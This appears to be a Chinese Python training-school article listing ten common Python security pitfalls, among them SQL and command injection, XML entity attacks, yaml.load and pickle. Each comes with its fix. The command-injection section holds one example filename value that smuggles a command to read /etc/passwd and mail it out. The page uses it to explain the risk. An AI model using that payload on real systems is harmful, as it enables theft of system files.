我的编程空间,编程开发者的网络收藏夹
学习永远不晚

千锋扣丁学堂Python培训之十个安全

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

千锋扣丁学堂Python培训之十个安全

今天千锋扣丁学堂Python培训老师给大家分享一篇关于初学者学习Python中的10个安全漏洞以及如何修复漏洞的方法。比如在写代码的过程中,我们的总会遇见各式各样的大坑小坑。Python也不例外,在使用模块或框架时,也存在着许多糟糕的实例。然而,许多Python开发人员却根本不知道这些。

1.输入注入

注入攻击是最广泛的,注入的种类又很多种,它们影响所有的语言、框架和环境。

SQL注入是直接编写SQL查询时将字符串与变量混合。有一种“引号字符转义”被认为是一种修复,但并非如此,可以通过查看SQL注入所有可能发生的方式。

命令注入有可能在使用popen、subprocess、os.system调用一个进程并从变量中获取参数时发生,当调用本地命令时,有人可能会将某些值设置为恶意值。

攻击者会将filename的值设置为“;cat/etc/passwd|mailthem@domain.com或者其他同样危险的值。

修复方法:

如果你使用了Web框架,可以用附带的实用程序对输入进行清理,除非有充分的理由,否则不要手动构建SQL查询,大多数ORM都有内置的清理方法。

对于shell,可以使用shlex模块正确地转义输入。

2.解析XML

如果您的应用程序加载并解析XML文件,可能您正在使用一个XML标准库模块。有一些针对XML的常见攻击。大多数为DoS风格(旨破坏系统而不是盗取数据)。这些攻击很常见,特别是在解析外部(即不可信任的)XML文件时。

其中一种攻击为“billionlaughs”,因为加载的文件包含了很多个(数十亿)“lols”。你可以加载XML实体文件,当XML解析器试图将这个XML文件加载到内存中时,会消耗很多个G的内存。

另一种攻击使用外部实体扩展。XML支持从外部URL引用实体,XML解析器通常会直接获取并加载该资源。“攻击者可以绕开防火墙访问保密资源,因为所有请求都是由内部可信的IP地址创建的,请求不是来自于外部。”

需要考虑的另一种情况是您要依赖于第三方软件包来解码XML,例如配置文件,远程API。您甚至不知道您的某个依赖包已经暴露在攻击之下。

那么在Python中会发生什么?标准库模块etree,DOM,xmlrpc都容易遭受这些类型的攻击。

修复方法:

直接用defusedxml替换标准库模块。它增加了针对这类攻击的安全防护。

3.Assert语句

不要使用assert语句来防止用户访问特定代码段。例如:

默认的情况下,Python以debug为true来执行脚本,但在真实环境中,通常使用优化运行,这将会跳过assert语句并直接转到安全代码,而不管用户是否是is_admin。

修复方法:

仅在单元测试中使用assert语句。

4.计时攻击

计时攻击本质上是一种通过计算比较提供值所需时间来暴露行为和算法的方式。计时攻击需要精确性,所以通常不能用于高延迟的远程网络。由于大多数Web应用程序涉及可变延迟,因此几乎不可能针对HTTPWeb服务器编写计时攻击。

但是,如果你的应用程序有提示输入密码的命令行,攻击者就可以编写一个简单的脚本来计算将其值与实际密码进行比较所需的时间。

修复方法:

使用在Python3.5中引入的secrets.compare_digest来比较密码和其他私密值。

5.感染site-packages或导入路径

Python的导入系统非常灵活。当你为测试程序编写猴子补丁,或者重载核心函数时,你会感觉非常方便。

但这也是Python最大的安全漏洞之一。

将第三方包安装到site-packages中,无论是在虚拟环境中还是在全局site-packages中,你都将暴露在安全风险中。

有一些发布到PyPi的包与流行的包具有相似的名称,但是却执行了任意代码。幸运的是,这很可能没有太大危害,只会“明确表示”这个问题没有得到真正的解决。

需要考虑的另一种情况是多层依赖包。它们可能包含漏洞,它们也可以通过导入系统重写Python默认行为。

修复方法:

你可以利用PyUp.io这个网站提供的工具检查你的第三方包。使用虚拟环境,确保您的全局site-packages尽可能干净。检查包签名。

6.临时文件

要在Python中创建临时文件,你通常会使用mktemp()函数生成一个文件名,然后使用该名称创建一个文件。“这是不安全的,因为另一个进程可能会在调用mktemp()和随后尝试通过第一个进程创建文件之间的空隙创建一个同名文件。”这意味着应用程序可能加载错误的数据或暴露其他的临时数据。

如果调用不正确,最新版本的Python会发出运行警告。

修复方法:

如果需要生成临时文件,请使用tempfile模块并使用mkstemp。

7.使用yaml.load

这里引用PyYAML的说明文档:

警告:使用不可信源的数据调用yaml.load是不安全的!yaml.load和pickle.load一样强大,所以可以调用任何Python函数。

在流行的Python项目Ansible中找到的这样一个例子(链接:https://www.talosintelligence...),你可以将此值提供给AnsibleVault作为(有效的)YAML,它使用文件中提供的参数调用os.system。

所以,从用户提供的值中加载YAML文件会让应用大门洞开,很容易遭受攻击。

修复方法:

总是使用yaml.safe_load,除非你有其它更好的方法。

8.Pickle漏洞

用pickle反序列化数据和YAML一样糟糕。在pickle对象时,Python类可以声明一个名为reduce的魔术方法,该方法返回一个字符串、或一个元组。攻击者可以使用它来引用其中一个子进程模块,在主机上运行任意命令。

修复方法:

切勿用pickle反序列化不受信任或未经身份验证的数据。改用另一种序列化模式,如JSON。

9.使用系统自带的Python而不修补漏洞

大多数可移植操作系统都自带Python2,通常还是旧版本。

由于“Python”,即CPython是用C语言编写的,所以Python解释器本身存在漏洞。C语言中常见的安全问题与内存分配有关,所以存在缓冲区溢出错误。

多年来CPython出现了多个溢出漏洞,每个漏洞都在后续版本中进行了修复。

也就是说,如果你修补了Python本身的漏洞,你就是安全的。

修复方法:

安装最新版本的Python并及时修补漏洞。

10.不修补依赖包的漏洞

类似于修补Python本身的漏洞,您还需要定期修补依赖包漏洞。有人习惯于使用PyPi软件包的“固定”版本,这种做法很可怕。他们认为“这些是有用的版本”,所以每个人都对漏洞置若罔闻。

上面提到的所有漏洞如果存在于你使用的包中,它们同样很致命。这些软件包的开发人员无时不刻不在解决安全问题。

修复方法:

使用类似于PyUP.io这个网站提供的服务去检查更新,向应用程序发送pull/merge请求,运行测试,让软件包保持更新。

以上就是关于千锋扣丁学堂Python培训之十个安全漏洞和修复漏洞方法的全部内容,希望对小伙伴们有所帮助,想要了解更多内容的小伙伴可以登录扣丁学堂官网咨询。想要学好Python开发小编给大家推荐口碑良好的扣丁学堂,扣丁学堂有专业老师制定的Python学习路线图辅助学员学习,此外还有与时俱进的Python课程体系和Python视频教程供大家学习,想要学好Python开发技术的小伙伴快快行动吧。扣丁学堂Python技术交流群:279521237。

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

千锋扣丁学堂Python培训之十个安全

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

千锋扣丁学堂Python培训之十个安全

今天千锋扣丁学堂Python培训老师给大家分享一篇关于初学者学习Python中的10个安全漏洞以及如何修复漏洞的方法。比如在写代码的过程中,我们的总会遇见各式各样的大坑小坑。Python也不例外,在使用模块或框架时,也存在着许多糟糕的实例。
2023-01-31

千锋扣丁学堂Python培训之Web版

今天千锋扣丁学堂Python培训老师给大家分一篇关于PythonWeb版语音合成实例详解,首先语音合成技术能将用户输入的文字,转换成流畅自然的语音输出,并且可以支持语速、音调、音量设置,打破传统文字式人机交互的方式,让人机沟通更自然,下面我
2023-01-31

千锋扣丁学堂Python培训之开发一个

今天千锋扣丁学堂Python培训老师给大家分享一篇关于如何利用Python开发一个简单的猜数字游戏的详细介绍,文中通过示例代码介绍的非常详细下面我们一起来看一下吧。游戏规则玩家将猜测一个数字。如果猜测是正确的,玩家赢。如果不正确,程序会提示
2023-01-31

千锋扣丁学堂Python培训之代理IP

今天千锋扣丁学堂Python培训老师给大家分享一篇Python代理IP爬虫新手使用的详细介绍,首先Python爬虫要经历爬虫、爬虫被限制、爬虫反限制的过程。当然后续还要网页爬虫限制优化,爬虫再反限制的一系列道高一尺魔高一丈的过程。爬虫的初级
2023-01-31

千锋扣丁学堂Python培训之操作Ex

今天千锋扣丁学堂Python培训老师给大家分享一篇关于Python3操作Excel文件(读写)的简单实例详解,首先来安装版本安装的版本为0.9.3,但是官网的介绍还是关于Version0.7.3版本的,无妨,不影响理解。安装读Excel文件
2023-01-31

千锋扣丁学堂Python培训之详解实现

今天千锋扣丁学堂Python培训老师给大家分享一篇关于Python两台电脑实现TCP通信的方法示例,文中通过示例代码介绍的非常详细,首先比如为了实现Nao机器人与电脑端的TCP通信,于是研究了一下Python实现TCP通信,在网上也看到了很
2023-01-31

千锋扣丁学堂Python培训之黑客们会

今天千锋扣丁学堂Python培训老师给大家分享一篇关于黑客们会用到哪些关于Python技术的详细介绍,首先Python已经成为漏洞开发领域的行业标准,读者会发现大多数概念验证工具都是用Python语言编写的(除了用Ruby写的安全漏洞检测工
2023-01-31

扣丁学堂Python培训之Python

今天千锋扣丁学堂Python培训老师给大家分享一篇关于python3字符串操作总结的详细介绍,中通过示例代码介绍的非常详细,下面我们一起来看一下吧。字符串截取s = 'hello's[0:3]'he's[:] #截取全部字符'hello'消
2023-01-31

扣丁学堂Python培训之基于itch

今天扣丁学堂Python培训老师给大家分享一个基于itchat模块实现微信防撤回的案例,比如有时候,女神发来一条消息,说约你看电影,她考虑了一下,又撤回了,不约你了…而你又想知道她究竟发了什么,该怎么办?微信防撤回了解一下。环境要求Pyth
2023-01-31

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录